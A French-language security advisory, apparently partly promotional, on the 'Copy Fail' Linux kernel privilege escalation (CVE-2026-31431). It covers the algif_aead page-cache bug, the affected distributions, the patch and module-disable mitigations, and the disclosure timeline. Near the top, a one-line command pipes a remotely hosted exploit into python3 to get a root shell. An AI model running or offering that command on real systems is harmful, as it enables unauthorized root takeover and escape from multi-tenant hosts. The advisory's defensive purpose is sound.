Copy Fail : Exploitation critique du noyau Linux CVE-2026-31431
Copy Fail : Le Tueur Silencieux du Noyau Linux (CVE-2026-31431)
Un seul script Python de 732 octets. Quatre grandes distributions Linux. Quatre shells root — sans modifications, sans recompilation, sans tracas. Bienvenue dans Copy Fail (CVE-2026-31431), l'élévation de privilèges locale la plus portable de l'histoire récente de Linux.
L'Exploit qui Fonctionne Partout
Découvert grâce à un audit assisté par IA par Xint Code, Copy Fail exploite une optimisation du noyau de 2017 dans l'interface crypto algif_aead. Les utilisateurs non privilégiés peuvent écrire 4 octets contrôlés directement dans le cache de pages de n'importe quel fichier lisible — y compris les binaires setuid-root comme /usr/bin/su.
$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
Un seul essai. 100 % fiable. Toutes les distributions.
Qui Doit Paniquer (Ordre de Correctif)
| Priorité | Environnement | Risque |
|---|---|---|
| 🟥 Élevé | Hôtes multi-locataires, Kubernetes, runners CI | N'importe quel utilisateur → root hôte |
| 🟥 Élevé | SaaS cloud, hôtes de notebooks | Évasion locataire vers hôte |
| 🟨 Moyen | Serveurs mono-locataires | Chaîne LPE interne |
| 🟢 Faible | Postes de travail mono-utilisateur | Post-exploitation seulement |
Vérifié affecté : Ubuntu 24.04, Amazon Linux 2023, RHEL 10, SUSE 16 (et plus).
Ce qui Rend Copy Fail Différent
| Propriété | LPE Typique | Copy Fail |
|---|---|---|
| Condition de course | ✅ Requise | ❌ Aucune |
| Décalages par distribution | ✅ Requis | ❌ Universel |
| Fiabilité | 30-80% | ✅ 100 % en un coup |
| Fenêtre affectée | Plage étroite | 2017 → 2026 (9 ans) |
| Évasion conteneur | ❌ Hôte seulement | ✅ Multi-locataire |
Contrairement à Dirty Pipe (flags de pipe) ou Dirty Cow (conditions de course), Copy Fail est du code en ligne droite abusant de la mauvaise gestion des scatterlists AEAD.
Atténuation Immédiate
1. Correctif (Principal)
# Mettre à jour le noyau pour inclure le commit mainline a664bf3d603d
apt update && apt upgrade linux-image-generic # Ubuntu
yum update kernel # RHEL
zypper update kernel # SUSE
2. Désactivation d'Urgence (Avant correctif)
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Impact sur les performances : Aucun pour 99,9 % des charges de travail. N'affecte que les rares utilisateurs AF_ALG.
3. Renforcement des Conteneurs
Bloquer les sockets AF_ALG via seccomp pour les charges de travail non fiables.
Plongée Technique Approfondie
La vulnérabilité réside dans algif_aead (famille de sockets AF_ALG). Une 'optimisation' de 2017 a permis la crypto sur place où les pages du cache de pages (source en lecture seule) deviennent la scatterlist de destination inscriptible.
splice()alimente les pages du cache de pages dans la scatterlist crypto- L'authentification AEAD griffonne 4 octets AAD ESN au-delà des limites du tampon
authenc_esnne restaure jamais les octets du cache de pages écrasésexecve(/usr/bin/su)lit le cache de pages corrompu → shell root
Bonus furtif : Aucune écriture VFS, aucune page sale, aucun changement disque. Évincer le cache ou redémarrer → fichier propre.
Chronologie de Divulgation
- 2026-03-23 : Rapporté à l'équipe du noyau
- 2026-04-01 : Correctif commité
- 2026-04-29 : Divulgation publique
Défendre Responsablement
Le PoC est public (sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9) pour que les défenseurs testent les correctifs. Ne l'exécuter que sur des systèmes autorisés.
Opérateurs multi-locataires : Correctif d'hier. Ce n'est pas théorique.
Trouvé par Xint Code — Audit de sécurité IA qui fonctionne vraiment.